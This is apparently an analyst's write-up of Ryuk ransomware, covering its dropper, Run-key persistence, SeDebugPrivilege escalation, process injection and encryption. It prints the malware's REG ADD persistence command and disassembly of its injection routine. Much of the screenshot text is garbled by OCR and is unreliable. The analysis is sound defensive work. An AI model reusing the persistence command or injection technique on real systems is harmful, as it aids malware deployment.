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Executive Summary

This analysis report provides a detailed examination of the Ryuk ransomware, a sophisticated
threat leveraging a potent combination of a high-speed multi-threaded encryptor, AES, and RSA
encryption algorithms. Ryuk employs advanced techniques such as process injection, significantly
increasing the speed of infection by exploiting a multitude of processes concurrently.

Key Findings:

1. Multi-Threading Encryptor: Ryuk incorporates a remarkably fast multi-threading
encryptor, demonstrating a high level of sophistication in its encryption capabilities. This
design enhances the efficiency of the encryption process, allowing for rapid compromise
of targeted files and system resources.

2. Encryption Algorithms: The malware utilizes a combination of the Advanced
Encryption Standard (AES) and the Rivest-Shamir-Adleman (RSA) encryption
algorithms. This dual-encryption approach contributes to the ransomware's resilience and
complexity, making it challenging for victims to recover their data without the decryption
key.

3. Process Injection Technique: Ryuk employs process injection as a mechanism to
infiltrate and propagate within the target system. This technique involves injecting
malicious code into legitimate processes, enabling the ransomware to evade detection and
resist traditional security measures.

4. Exponential Speed Enhancement: By leveraging process injection across a multitude of
processes simultaneously, Ryuk achieves an exponential increase in the speed of infection.
This strategic approach allows the malware to swiftly propagate through the target
environment, compromising a broad range of system components.

5. Network Share Encryption: Ryuk exhibits a novel behavior by actively seeking and
encrypting network shares. This expansion of its target scope heightens the potential for
lateral movement within organizational networks, resulting in a more pervasive and
damaging impact on shared resources.



S.No | Tactics Techniques Sub-Techniques TTP in Report

1 Defense Obfuscated Files or Embedded payload Stagel dropper
Evasion Information

2 Defense Indicator Removal File Deletion Stage2 dropper
Evasion deletes stagel

3 Persistence Boot or Logon Autostart Registry Run Persistence

Execution Keys/Start up Folder

4 Privilege Access Token Manipulation | -- Privilege Escalation
Escalation

5 Discovery Process discovery -- Process Enumeration

6 Defense Process Injection Portable Executable | Process Injection
Evasion Injection

7 Defense Obfuscated Files or Dynamic API Encryption
Evasion Information resolution (obfuscated APIs)

8 Impact Data Encrypted for Impact -- Encryption

9 Discovery Network Share Discovery -- Network

Enumeration
10 Impact Inhibit System Recovery -- Delete backups
11 Impact Service Stop -- Service stop




Overview

Ryuk ransomware uses multi-threaded fast encryption which also injects itself into many
different processes and create persistence to be automatically executed on every start-up. All
these things combined makes RY UK ransomware very dangerous.
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Ryuk Ransomware Life Cycle

The initial dropper extracts Ryuk ransomware and executes it by giving path of itself as parameter.
Ryuk ransomware takes the parameter and first deletes the dropper then moves on to create
persistence by adding itself in Run Registry Keys. The next step is to inject itself in all available
processes with the exception of only a few. Finally, it uses a multi-threaded encryptor that uses the
combination of AES and RSA encryption algorithms to achieve a very fast encryption and leaves

a ransom note in every directory.



THREAT REPORT: RYUK Ransomware

This is a detailed technical analysis of Ryuk Ransomware. The flow of this section would be in an
order of steps that I performed during my analysis. At first, I always detonate the malware and see
what I can get from the initial detonation by looking at its process tree, the impact, the network

activity and any visible changes made to the system.

Initial Detonation:

The initial detonation shows that the dropper extracted stage2 malware which in turn add some

changes in the registries as shown by the process tree in screenshot below:

1 Or | yxrNV.exe with original sample as

Cmd.exe with parameter of:

B Process Tree O *
] Only show processes still running at end of current trace
[] Timelines cover displayed events only
Process Description Image Path Life Time Company Owner Comr ™
= g OneDrive exe (5532) Microsoft OneDrive C\Users‘shaddy'... . Microsoft Corporat... DESKTOP-002IH... "CAU
% OnelDrive exe (3420) Microsoft OneDrive C:\Users‘shaddy'. . Microsoft Corporat ... DESKTOP-002IH... "CAU
=] @WerFauh.exe (13800 Windows Problem_ .. C\Windows'\Sys... Microsoft Corporat ... DESKTOP-002IH... C:A\W
= & OneDrive exe (212832) |Microsoft OneDrive  C\Users‘shaddy®. .. Microsoft Corporat... DESKTOP-002IH... "C:AU
i Onelrive exe (40419 Microsoft OneDrive C:\Users‘shaddy'. . - Microsoft Corporat... DESKTOP-002IH.. "C:AU
=] %fj’:“."a‘erFault.exe (40516{ Windows Problem .. C:\Windows'Sys. .. I Microsoft Corporat... DESKTOP-002IH.. C:A\W
@ OneDrive exe (48 Microsoft Onelrive C:\Users‘shaddy®.... - Microgoft Corporat... DESKTOP-002IH... "C:xU
=) B Procmon exe (1632) Process Maonitor C\Tools'sysintem.. _Sysmtemals ww... DESKTOP-002IH... "CAT
|BF ProcmonB4.exe (816) Process Monitor  C-\Users‘shaddy.. _Sysmtemals ww... DESKTOP-002IH... "C:AU
-8 ProcessHacker exe (4856) Process Hacker C:'-.Program Files*... w132 DESKTOP-002IH... "CAP
cpors exe (4152) CurPords C k DESKTOP-00ZIH,,, "C:hU
[=F 123 0aa%4fbic08ab2TI5e fee DESKTOP-DDZIH... "C:
=& yarNV exe (6460) C. \Uzers .Publlc ... DESKTOP-002IH... J'C:w
= 5% omd exe (2268) Windows Comma... C\Windows \Syst... Microsoft Corporat... DESKTOP-002IH... ['CA\W
g2 Conhost.exe (4308) |Console Window ... C:\Windows'\Syst... Microsoft Corporat... DESKTOP-002IH... p7HC
& reg.exe (2276) Registry Console ... C:\Windowsayst... Microsoft Corporat... DESKTOP-002IH... JREG
NOTEP}-‘\D EXE (266630) Notepad CaWindows ayst. .. ) I Microsoft Corporat... DESKTOP-002IH... "CA\W
v
< > £ >

Reg.exe with parameter:

igi | parameter:

na "C:\Windows\System32\cm | REG ADD

I | "C:\users\Public\yxrNV.exe" d.exe" /C REG ADD "HKEY_CURRENT_USER
sa | C:\Users\shaddy\Desktop\23f8aa94  "HKEY_CURRENT_USER | \SOFTWARE\Microsoft\Wi

\SOFTWARE\Microsoft\Wi

m | ffb3c08a62735fe7fee5799880a8f3

ndows\CurrentVersion\Run
Iv "svchos" t REG_SZ /d
"C:\users\Public\yxrNV.exe

pl | 22celd55ec49al13a3f85312db2.exe | ndows\CurrentVersion\Run

e /v "svchos" t REG_SZ /d
"C:\users\Public\yxrNV.exe | " /f
" /f

After some time from the initial detonation, I received multiple UAC prompt to allow the cmd
admin privileges because I did not execute the initial dropper with admin privileges. From the



process tree and UAC prompt requests I found the path on which the stage2 RY UK ransomware
and another malicious bat file were extracted by malware.

There were some files created in the “Users\Public” folder which had hidden attributes.

ST2019 112 AM Configuration sett... 1KE

desktop.ini

|=| RyukReadMetxt Text Document 1KE
| ] =ys File 0 KB
window.bat Windows Batch File 2 KB

wxrWV. exe 11/6/2023 3:01 AM Application 171 KB

Stagel: Dropper

From the static analysis of dropper, I have found so many suspicious strings which were actually
a part of its second stage payload, therefore I will not list those strings here, instead I will write all
the steps that stage1 dropper performs in its execution.

1. Checks Windows Version: and decides the path for extracting stage2 malware
a. Users\Public
b. Documents\Default User
2. Selects a 5-letter random word: and appends .exe at its end
3. Create File: using CreateFileW on selected path with the 5-letter name
a. File is created with hidden attributes
4. Check Architecture: to extract stage2 malware from data section
a. 32-bit embedded stage2 malware
b. 64-bit embedded stage2 malware

EE e B3 & @ ddetd# X > 00 BemEeEET B @ BHORMNTYTAO & £ 0 ]
ST WERERT W N g !
> 1 «
Time . Process Neme PID Operation Path
Library function [l Reguiar function Ml Instruction [/ Data [ Unexplored | External symbol [l Lumina function iy
3504.. W 2¥8aa%iblcl.. 6630 [ RegQueryVa. HKLM\System\CurentControlS
Debug View 8 @& Structures 3l = B B T 5 0 8680 = QuerNamel Al ADeslcop\ 2!
3592 W 2382294300, 6630 CreateFle  CA\Users\Public\xTAm exe
IDA ViewEIP O 8 x| i eneral regsters o8 x 2341 30 ad Crea
S TN
.text:08C91457 push EAX 76300880 W KERNEL32.DLL:76380888 A~llIp 8 ~
.text:88091458 push EBX 20000164 4
.text:08091459 push ECX BOE20808 % deb;
ST I EDX 0@E20060 4 deb
I .text:08C91465 call esi CreateFilel I ESL 763233E@ % KER
- = e EDI 09000000
EBP GBDFFDES & Sta
ESP@@DFF1B4 & Sta
e = <
. text:08C91469 5 Modules
.text:9eCo1469 loc (91469: —
.text:88C91469 push offset LibFileName er 11" Path -
SR TN oy ([t o rarii e s e (58] C:\Users\shaddy\Desktop)\23f8aa84fb3cD8a62735fe fee5 7988802812
SLeXtPACOLATL re [ebnd ot i E e € AR o1 b
.text:9eCo1474 call ds:LoadLibr < >
. text:88C9147A mov. esi, wowbdprocess ; “IsliowBdProcess”
TYERTTORCITI T TeoT T, e ]
.text:@8C91482 lea edi, rociiame] & Threads 08 x
. text:@eco14ss lea ecx, [ebp+Prociiame] 4
.text:06C91488 push ecx 5 lpProchame Decimal Hex State Name ~
. text:88(91489 movsd
e  hodule (3] 5768 1688  Ready 23f82a94ffb3c08a627...
@] 257 A0 Resdy T7E05940
00.00% (110,41€4) (521,361) 0000087 0000000000CS147A: sub_C91260+21A (Synchronized with EIP) = v
3] Hex view-1 O &8 x| stackview o8 x
5 8B EC 8B 4D @C 56 57 3B 7D @8 85 C9 75 @3 8D U(i(M‘VN(}w.EuH 0 @9CA@A28 .rdata:LibFileName ~
F 20 8B 45 18 89 47 38 8B 45 14 89 47 34 8D 47 B0600060
18 58 57 68 23 11 (9 8@ 51 E8 3D 16 08 @0 8B F8 . @0CFBBC8  .d:
3 (4 18 85 F6 74 @D 7E 1E @F B7 F6 81 CE 8@ 08 BOACABOE TIB[0O
7 82 EB 13 8B 4F 84 @F B7 @l 5@ E BA B2 57 EB .€E 20328043
9 @2 @0 @@ 83 C4 1@ 5F 8B C6 SE 5D C3 55 8B EC ....fA 2255005C
F 75 14 8B 45 @8 FF 75 18 FF 75 @C FF 70 1C FF ju.<
F1B4: Stack(on n a with E5P) v

5. Execute Stage2: with ShellExecuteW
a. Execute stage2 with path of stagel malware as parameter



|

s

Time .. Process Name

Library function [l Reguiar function [l Instruction [ Data I Unexplored | External symbol Il Lumina function Il N
3504... W 2¥Baa94b3cl... 6680 [ RegGueryVa...HKLM\System\ CurrentCortrolSet\
Debug View 8 A Structures B Enums bz oo
- 3:59:2.. W12%8aad4b3cD... 6680 fiCreateFile  C:\Users\Public\wxTAm.exe
| IDA View-EIP O & x |35 General registers O 8 x||3543 W 2%829463c0 6680 <O Thread Create
= - 4095... W 2¥Bac94iblcl.. 6680 weWhicFle  CA\Users\PublicTAm.exe
tack[0081688] : BEDFFIF ~llo e A x
[ ] BN AR O S i Utp o ||| 4100, T 2¥82a94b3c0. 6680 FuCloseFie  C\Users\PublicwxTAm exe
[ ] EBX 00000164 & b 5
M=l ECX 80000000 ' = o
L text:00c914D4 DX 60200208 R
_text:00C914D4 loc_C914D4 5 hFile EST 76320980 4 KER ernel32_IshWowsd ||RF @
I e b EDI BBDFFDD7 & Sta 007 NT @
. text:08C914D5 call __ds:writerile IoPLO
t
Fext: BBCTTADE push TRObject EFERADES D 55 Jllor e
.text:@8C914DC call  ds:CloseHandle ESP@@DFFISC & Sta. DF @
.text:08C914E2 xor ecx, ecx < > hd
.text:08C914E4 lea eax, [ebp+Filename]
_text:B8CO14EA push  =cx 3 nShowCmd (58 Moddes o8 x
.text:@BCI14EB push  ecx ; lpbirectory Path ~

o oo o8 x
. text:@ecol4FD pop esi =
text:BOCOLAFE xor  eax, eax Decimal  |Hex |State Name
.text:88C91500 pop ebx [Z]5768 1688  Ready 23182204ffb3c08a627...
" ————" L . [B 2516 a10 Ready TTE05940

0.00% (132,5083) (734,337) 0D0000BTE 0000000000CS14TE: sub C51260+425€ (Synchronized with EIE) = v

.kext:@eCol4EC push  eax

5 lpparameters

- text:@0C914ED lea eax, [ebp+Filelame]
. text:@BC914F3 push ax 5 1pFile
.text:@@C914F4 push  ecx 5 1paperation

[[LalC | ¥ I\ | gal ¥ 7~

PID Operation Path

5 C:\Usersishaddy\Desktop\23f8act

A e

94ffb3c08a62735eTi 579988082
an w2

>

(@] threads

Stage2: RYUK Ransomware
The first thing I always look for in a malware are the strings in simple static analysis. If I find any
interesting strings then I base my advanced static and dynamic analysis based on those suspicious
strings. Some of the interesting strings that I found are provided below:

Static Strings:

1

\Documents and Settings\Default User\finish
\Documents and Settings\Default User\sys

\users\Public\window.bat

\users\Public\finish
\users\Public\sys

UNIQUE_ID_DO_NOT_REMOVE

SeDebugPrivilege

csrss.exe
explorer.exe
Isaas.exe

RyukReadMe.txt
\System32\cmd.exe

/IC REG ADD

"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v

"svchos" t REG_SZ /d " /reg:64



Persistence:
The first thing that RYUK ransomware checks is weather a parameter has been passed to it while
execution. The parameter is actually the path of Ryuk dropper and it deletes the dropper to avoid

Ssuspicion.
mov eax, BC1886h
call _alleca_probe
sub rsp, rax
mov rax, csi_ security_cockie
xor rax, rsp
mov [rsp+@C1l8ABh+var_38], rax
maov ecx, 1388h ; dwMilliseconds
call cs:Sleep
call cs:GetCommandLinel
mov rcx, rax 3 lpCmdLine
lea rdx, [rsp+eCl8Ash+pNumArgs] ; pNumArgs
call cs:CommandLineTolrgvk
mov rdl, rax
test rax, rax
jz shert loc_l488@1CES
A J
[l 5=
mov rcx, [raxts] i _1pFileName
I call cs:DeleteFilel

'K

loc_148@81CES: 3 hMem

mons rex, rdi

call cs:localFree

xor rl3d, rl3d

lea rax, [rsp+@Cl8Ash+VersionInformation]
lea ecx, [rl3+4]

nop dword ptr [rax]

Next step is to add persistence, Ryuk Ransomware adds persistence by abusing the famous Run
Registry Keys which executes the payload on each startup or boot. It appends the path of itself
and pass the command to be executed via cmd.

e "C:\Windows\System32\cmd.exe" /C REG ADD
"HKEY CURRENT USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos"
/t REG_SZ /d "C:\users\Public\yxrNV.exe" /f

Above listed command is executed to achieve persistence. At every startup the stage2 malware
would be executed from the public folder.



il e =

loc 7FF726BD719A:

movsxd  rox, edi

add rcx, rsi

mow [rsp+rcx*2+8ABh+Buffer], rlSw

call sub_7FF7268D7838

mov réd, 148h ; nsize

lea rdx, [rbp+7aBh+Filename] ; lpFilename
xor BCH, BCX ; hModule

mow rldd, eax

call cs:GetModuleFileNamek

lea rcx, alCRegAddHkeyCur ; "/C REG ADD \"HKEY CURRENT USER‘\SOFTWAR"...
mow r8d, 438h

movups xmm@, xmmword ptr [rox

lea rdx, [rbp+74Bh+Parameters]

movups xmml, xmmword ptr [rex+leh)

movups xmmword ptr [rdx], xmmé

movups xmm@, xmmword ptr [rex+2eh)

movups xmmword ptr [rdx+18h1, xmml

The saves the name of registry as “svchos” for the persistence in the system over Run keys as
could be seen in the screenshot below:

Debug View B @A Structures B E
A View-RIP a8 x
Stack[@@@8AE3C] : BBREEACHIEESDABS db e ~
Stack[@000053C] : 900EEECHI655DAGE db 74h ; t
Stack[@000053C] : 900EEECHI655DAG7 db @
Stack[@000053C] : 900ERECHI6E5DAGE db 6Fh ; o
Stack[@BEE8E3C] :0BOBRACHIEE5DAGY db @
Stack[@@909E3C ] : 990BEACHIEESDABA db 7eh : p
Stack[@@90953C] : 990BEECHI6BSDAGE db e -
Stack[@@@PAR3C] : PARRABCAIGESDABC db sch ; [ Registry Editor
Stack[@@88BE3C] : #BREEACHIEESDAGD b @ File Edit View Favorites Hel
Stack[@@88AE3C] : BABEEACHIEESDAGE db 72h ;- = _ed
Stack[@@880E3C] : 90LERACHIEESDABE db 8 Computer\HKEY_CURRENT_USER\SOFTWARE'\Microsoft\Windows\CurrentVersion'Run I
Stack[@000053C] : 900ERECHI655DALE db 51h ; @ = = Tpe Diata
Stack[@009053C] : 900EEECHI655DALL db @ © [ Feeds
Stack[@808083C ] : 680808CEI6850A12 db 46h ; F T FileAssocia 3] (Default) REG_SZ (value not set)
Stack[0@@0eB53C] : 90000089685DA13 db ] REG_SZ "C\Users\shaddy\AppData'Local\Micro
sta:k[aaaaassc]:aaaaaacagsssufm db &Bh ; k FileHistary REG.57 CA\Users\shaddy\Desktop\rQiFkg.exe
Stack[@@90953C] : 990BEACHIEESDALS db e GameDVR
Stack[@@88AE3C] : BBBEEACHIEESDALE db 67h : g » | Group Polic
Stack[@@88AE3C] : #BREEACHIEESDALT b @ > || Group Polic
Stack[@@88GE3C] : #AREEACHIEESDALE db 2Eh ; . Hol h
Stack[@00BE3C ] : 000BRCEI685DALI do @ 7 Melegraphi
Stack[@000953C] : 900EEACHI655DAIA db 65h ; e > L ime
Stack[@009053C] : 900EEECHI655DALE db @ Immersives
Stack[@090953C] : 990B08CHI6BSDALC db 78h ; x L InstallServic
Y e i .
UNENOWN 000000C05625DA0S: Stack[00000B3C] :000000C09€85DA0S (Synchroni) Internet Set
Lock Screer
o View-1 Mobility
FF726@D72E6 FF C7 48 8D 40 @2 66 44 39 38 75 F4 8B (B 48 Metificatios
FF7268D72F@ ©5 3D 85 @1 @@ 66 66 66 ©F 1F 84 09 90 00 99 PenWorksp
FF7268D7380 FF C1 48 8D 4@ 02 66 44 39 38 75 F4 48 63 D1 Policies
FF7268D7318 8B F7 85 C9 74 20 4C 88 (2 48 63 C7 48 88 F2 PrecisionTo
FF726BD7328 4D 83 €@ 48 80 15 B3 85 @1 @@ 48 8D Prelaunch
FF7268D7336 41 E8 @A EO @@ @8 48 63 CF 48 83 CE 66 44 89 .
FF7268D7348 4D @0 45 85 F6 74 68 88 FB 66 44 39 7D 02 74 Privacy
PushMotific
i720 00007FF7260D7320: sub 7FF72E0D70E0+240 RADAR

Privilege Escalation:

Ryuk ransomware relies on social engineering techniques to be executed with admin privileges
from the start, and then it performs token manipulation to allow itself to achieve higher privileges
specifically uses “SeDebugPrivilege” to be able to inject into higher privileged processes as well.



It checks weather the executed process has

“SeDebugPrivilege”

or not by using

“LookupPrivilegeValueW” and then it tries to adjust the current token to have the required

privileges as shown in the code snippet below:

=]

IDA View-A B Pseudocode-A B8 Hex View-1
1 __inte4 _ fastcall sub_ 146862828 (HANDLE TokenHandle)
2 {
3 DWORD v2; // eax
4  DWORD LastError; // eax
5 struct _LUID Luid; // [rsp+3Bh] [rbp-28h] BYREF
5 struct _TOKEN_PRIVILEGES MewState; // :';p+33h: [rbp-28h] BYREF
8 I if { LoockupPrivilegeValueW(®i64, L"SeDebugPrivilege™, &Luid) ) I
o 1
18 Newstate.Privileges[@].Luid = Luid;
11 MewState.PrivilegeCount = 1;
12 Newstate Privilesesl@l Attribytes = 21
13 if ( AdjustTokenPrivileges(TokenHandle, @, &MNewState, @x10u, ©®isd, B8isd) )
14
15 if ( GetlastError() == 1388 )
16 I
17 sub_1486811F8("The token does not hawve the specified privilege. “Wn");
8 return 8ig4d;
19 }
28 else
21 7
22 return 1igd;
23 )
24 }
25 else
26 7
27 LastError = GetlLastError();
28 sub_1488811F8("AdjustTokenPrivileges error: ¥u\n", LastError);
29 return Bisgd;
38 }
31}
32 else
33 {
34 v2 = GetLastError();
35 sub_1488811F8( " LockupPrivilegeValue error: %uin", vi);
36 return 8iG64;
37}
38 }

Process Enumeration:

Ryuk Ransomware enumerates all running processes to checks their integrity level, their PID and
other useful information and saves everything in an array. It uses famous process enumeration

APIs that are listed below:

e CreateToolhelp32Snapshot
e Process32FirstW
e Process32NextW



Debug View x| @

Ltext:e0ea87FF726802188 mov rldd, ri3d
Jtext:peRa7FEF2EB02183 leg e, [rdxtl] s dwFlas
L.text:%@@?FF?EEBDElSE call cs:CreateToolhelp32Snapshot I
[ IEeXL:BO0B/FT 726802180 mov ri12, rax
Ltext:eeearirFF72680218F cmp rax, BFFFFFFFFFFFFFFFFh
text:eee87FF726802193 jz loc 7FF7268023D3
_  J
il e [
Jtext:@ee87FF726802199 lea rdx, [rsp+2D8h+pe] ; lppe
text:BeBRTFF72680219E mov rcx, rax : hsnapshot
| |.text:eeee7FF7268021A1 call cs:Process32Firsth
Tdext 0888 FF7268D21AT test eax, eax
Ltext:08007FF7268D21A9 jz loc_7FF7268D23D8
_ L 4
MFIE
Ltext:08007FF7268D21AF lea rdx, [rsp+2D@h+pe] ; lppe
text:806887FF720802184 mov rcx, ril : hsnapshot
I text:eeea7/FF726802187 call €s:Process32Nexth
L CEXT DB/ rE rlbblIlbl Test Eax, eadx
text:@ee87FF7268D216F jz loc 7FF7268D23CF
Ltext:00887FF7268D21BF ; 1} // starts at YFF7268D213@

,357) 00001530 0000YFEFT7260D2130: sub TFF7ZE0D2130 (Synchronized with RIF)

Process Injection:
Ryuk ransomware injects itself in all the processes that it enumerated with the exception of only

a few that doesn’t stop the system performance like:

e Isass.exe
e cxplorer.exe

®  Csrss.exe
It uses basic process injection APIs like:

e VirtualAllocEx
e  WriteProcessMemory
e C(CreateRemoteThread

The process injection makes it extremely fast because there are multiple instances of Ryuk

Ransomware running in every process that it has injected. In the screenshot below, we can see that
in “sihost”, the ransomware has been injected by creating a READ, WRITE and EXECUTE
(RWX) memory region that contains a binary identified by the starting bytes of 4D SA (MZ).



=]

[

tibrary function [ll Reguiar function [ll Instruction | Data [l Unexplored | External symbol [l Lumina function Hacker View Tools Users Help
Debug View 8 @ Structures | % Refresh {2 Options | # Find handles or DLLs 4 System information | [] [3 % 2756 x
DA View R Processes Services Network Disk
T T & Name PID__CPU_V/Ototal .. Privateb.. Username Description
- text:@0007FF72600261F OV T (5] sihostiexe 275 002 1023 MB  DESKTOP-002IHON\shac  Shell Infrastructure Host |
-text:00007FF7260D2622 test  rax, rax
-text:@00@7FF726002625 jnz  short loc 7FF7260D264E
v =
MEE]
- text:00607FF7268D264E FEim o ey
-text:08807FF7268D264E loc_7FF7268D264E: Genersl  Statstcs  Performance  Threads  Token  Modues  Memory  Environment
_text:08007FF7268D264E lea rax, [rspt6shiNumberOfBytasuritten]
-text:00607FF7268D2653 mov [rsp+6h+iiumberofsytesiiritten], @ ide frae regions Stringe. Refresh
.text:0B607FF726BD265C mov 19, rby 5 nsiz
text:08007FF7268D265F mov  quord ptr [rspieshaflprotect], rax 3 Ipl | g Type o | protece... | use ~
-text:00007FF7260D2664 mov  rB, rsi 5 1pBuffer
. text:08007FF7268D2667 mov rdx, rbx 5 lpBaseAddress 0x7df5d3c50000  Mapped 48 R
‘text:00007FF7268D266A mov. rex, rdi ; hProcess Ox7df5d3c60000  Mapped 14048 R
text:0@007FF7268D266D Call Cs:WiriteProcessienory 0x7dfsd3c30000 __ Mapped 2,147,483,..._NA
text:0ABO7FFI26602673 mov  rcx, rdi 5 hProcess | [~ oxrras0d0000  Private 0IE WK
TEextIOUEO /T /IGO0Z6 76 test  gax, eax 0xIFF728060...  Privat 3640k8 RVIX
- Lext:00607FF726002678 jnz houtlock k226002620 7T 7be7a0000 | Image 2@ WK Co\Windows\ystem32shost. 23
r 1 180k8 WCX Co\Windows\System32\BCPa7m
1 sihost.exe (2756) (Ox 7726040000 - OxTF72645¢000) - O X |me wx C:\Windows\System32\Inputos
o6k wox Ci\Windows\System32\rmCare
.00% (271,1116) (4€5,3€€) 0000LA73 00D07EET260D2673: ProcessInjectiontEd (sy 09000p00 fla sa 50 00 03 00 00 00 04 00 00 00 ££ ££ 00 00 1z ~ | ke wex C:\Windowis\ystem32iexeamac
souiic s 0 2300t g0 o0 30 4902000003t 6| e UG it
Jex View-1 y e,
00000p30 00 00 00 00 00 00 00 00 00 08 00 00 08 01 00 00 s fsio wok C¥iindows SymiemSZmamch.df
75 25 41 3D 4E 0L FF 15 JC 52 61 @0 FF 15 CE 52 00000b£0 0e 1£ b 6 cd 21 b3 01 4c od 21 54 65 ... o 4k WX C:\Windows\System32containe
@1 60 4C 8D 4C 24 20 45 33 (O 48 55 C& 41 8D 56 o0ooofsa &9 73 72 6L 84 20 €3 €L €= is program canno ok wex €:\Windows\System32\daxexes
27 FF 15 71 52 @1 @8 48 8B 4C 24 20 ES S5F 62 09 oooaopen 74 20 62 20 69 62 20 44 4f ©t be run in DOS 64k WoX €:Windows\System32Wiabana
9@ 33 (@ 48 8D BC 24 58 @1 00 @0 B9 C@ 15 oC o2 00000p70 €d € 0a 24 00 00 00 00 00 modE. i aabias 120k8 WCX C:\Windows \System32\CoreShe
48 8D 5C 24 50 01 00 00 E8 51 03 00 00 41 onooofeo ea es ob ce 85 76 cb ce 5 ol S5O WO CiiidowsErstemi2winiy | | POOBGCADOIIORES
muwwmume nerxmner & mabon = o || Mo Chmremmesn | prelbee Sevodiriluimerse
: +| 0oo00pad 7a 13 cb Vel 756K8 WCX  C:\Windows\System32\Windows
31100 00007FF72€0D1000: WinMaintlSo 000000 2d a8 i s By 115K8 WeX (420220 (Synehronized wich RsE)
oo0aopea c7 £a b eV I " ¥ v
— 00000b40 20 48 e oIS WO Cilindows Systen3zioneCore
080 CT WInGn BCp%/Langs GiL ooooojeo a0 a @
. oooaopra 0o 0o 00
oaded C:\iindows\Systen32\sppc.d1l sooaokeo 0o 0o s
caded C:\iindows\System32\SLC.d1l 00000010 b5 Sa 00 90 09 00 00 20 a0 Close
oaded C:\iindows\Systen32\USERENY. d11 0000l 20 b 02 00 00 22 37 00 00 00 L
\dln:uws\Systemii\appresulu;;ldll aooaof 30 34 75 00 00 00 0d 26 £T Tf sy s
indows \system32\intypes. a000f 40 00 10 00 05 00 02 00 00 00 DO
ugger: thread 8788 has exited (code 8) o000of 50 05 00 00 00 =0 38 00 00 04 B
ugger: thread 8765 has exited (code @) 00000J60 00 00 00 00 02 00 60 SL 00 00 10 00 00 00 00 00
c 0000070 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 0O ... s
idle Do Disks 6168 AnnanTan an an on an A% on on on an 26 0a an sa n on 0 S

I have dumped this shellcode to a bin file and started analyzing it separately. Since this shellcode
has been dumped from memory therefore it doesn't execute simply by clicking the binary. All of

its addresses a

re messed up.

To recover this exe, | have used pe_unmapper which useful in recovering executables dumped
from the memory. A tool by hasherzade.

I have dumped the shellcode and unmapped it from memory using pe_unmapper and loaded it
again in IDA. It was the same RYUK ransomware that | am analyzing. As could be seen in the
PDB info or IDA. Ryuk ransomware injects a copy of itself in all these processes.


https://github.com/hasherezade/pe_unmapper

»
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)

andthe copmbol fil is:

l "ChUsers\AdminDocuments\Visual Studio 2015\Projects From Ryuk\ConsoleApplication34'\x64\Release\ ConsoleApplication34.pdb" I
Do you want to lock for this file at the specified path
and the Microsoft Symbol Server?

o The input file was linked with debug information

[] pon't display this message again

Cmder

5 output

Detected file format: Portable executable for AMDE4 (PE) 1
8. Creating a new segment (@@G87FF726001000-80007FF7
1. Creating a new segment (@@@@7FF726BE720E8-2ERE7FF72MNS L .
2. Creating a new segment (@@BE7FF7268F4000-poea7rF72[NN not supplied! Us
3. Creating a new segment (@@@87FF726450808-B8087FF7 nd p locatio
4. Creating a new segment (@@207FF72645B800-282@TFF7

Reading imports directory...

Reading exception directory (.pdata)...

Applying fixups...

5. Creating a new segment (@@G87FF726BE7303-80007FF7

1IDC

bin /out dumped

1 The injected code is the Ryuk Ransomware itself

2 It injects in all processes that it enumerated using CreateToolSnapshot32 except Isass.exe,
explorer.exe and csrss.exe

3 It keeps on injecting itself in all processes until the array is complete

4 During process enumeration, it also checks the authority level of each process and save it
with necessary score

5 | Afterall the injection has been completed, then it moves onto Encryption. The encryptor is
an obfuscated function that is being called after process injection. The encryptor function
loads all API calls dynamically.

To continue with my analysis, | have to skip over this process injection phase to actually reach the
encryptor. So, | did the easiest thing, that is patched the binary and skipped the call to process
injection function.



| found the call to process injection function and its HEX in the binary. One cool thing about IDA
is that it provides live mapping of assembly to HEX code and on both windows side by side I can
see which HEX is calling the function of process injection and | can simply patch those bytes to
no operation bytes.

DA View-A, Hex View-1 B @A Structures Enums Imports 2] Exports
[ oA view-a A & x ||[D Hexview-1 =Y
iz short loc_14 760008014600 ©2 48 83 F9 @D 74 77 OF B7 B4 4F 66 41 3B 04 4A .H...tw...0fA;.J
= (0220000140601F30 74 DE 49 88 C5 OF B7 @C 47 66 41 38 ©C 44 75 19 t.......GFA;.Du.
= 66000001 4600 OF B7 4C 47 02 66 41 3B 4C 44 82 75 ©C 48 83 (@ ..LG.TA;LD.u.H..
{ 000000014600 ©2 48 83 F8 @A 75 DE EB E
FIEE leee0ee01 4660 ED 74 40 48 83 FD 81 74
200000014600 41 B3 @A 90 ©0 00 43 8D
short loc_146601F9E| lmov ecx, [rbx ; dwProcessId 503080B140001FE8 ES 77 A B 66 B9 2C B1
call _ sub 140802 . o0ooPE0140081F90 4C 8D @D C9 CE Ol 88 4C
mov rad, ; Radix 6600000146661FAR 2B 74 12 FF (6 48 81 (3
lea rdx, [rsp+8C18A8h+Buffer] ; Buffer 000EEEE14000 3C DB FE FF FF 41 FF C6
oY ecx, eax 3 Value 666006014660 8E BB FE FF FF B9 88 13
call o 200000014600 41 88 CF E3 38 04 00 00
oY ecx, 12Ch ; dwhilliseconds 666006014660 90 @0 E5 89 OA 00 B 33
call  cs:Sleep . 0000EER140001FFO @@ 48 33 CC E8 17 54 00
lea r9, aCsrssExe ; "csrss.exe . 0BEEEEE140002000 B8 40 8B SB 38 49 8B 6B
lea 19, akxplorerfxe ; "explorer.exe 6000000140002010 41 SF 41 SE 41 5D 41 5C
BEOGEE146602620 48 53 48 83 EC 50 48 8B
2000000140002030 48 89 44 24 48 48 8B D9
600266146602640 8D 15 F2 CD @1 88 FF 15
FIEE 2000000140002050 FF 15 @A 50 @1 00 8B DO 48 8D @D 51 CE @1 00 E8 cQ.
GEEOGEE14BBO2660 BC FL FF FF 33 (B 48 8B 4C 24 48 48 33 CC E8 9D ........LSHH3.
loc_140001F9E: 2000000146002070 53 @0 0@ 43 83 C4 50 5B C3 48 8B 44 24 30 4C 8D S..H...[...D3eL.
cmp [rbx], ri3d GEEOGEE14BBO2680 44 24 38 48 89 44 24 3C 33 D2 33 €@ C7 44 24 38 D$BH.DI<3....D38
jz short loc_149@@1FBS 2000000140002090 @1 @ 0@ 00 48 89 44 24 28 48 8B (B C7 44 24 44 ....H.D§(H...D3D
BEOGEE1466028A0 B2 @ 0@ BB 43 83 44 24 20 44 8D 48 18 FF 15 5D
2000000140002080 4F @ @@ 85 CO 75 29 FF 15 A3 4F 01 @0 88 D@ 48
HEE GEEOGEE1466026C0 SD @D @A CE @1 BB E8 25 F1 FF FF 33 (8 48 8B 4C
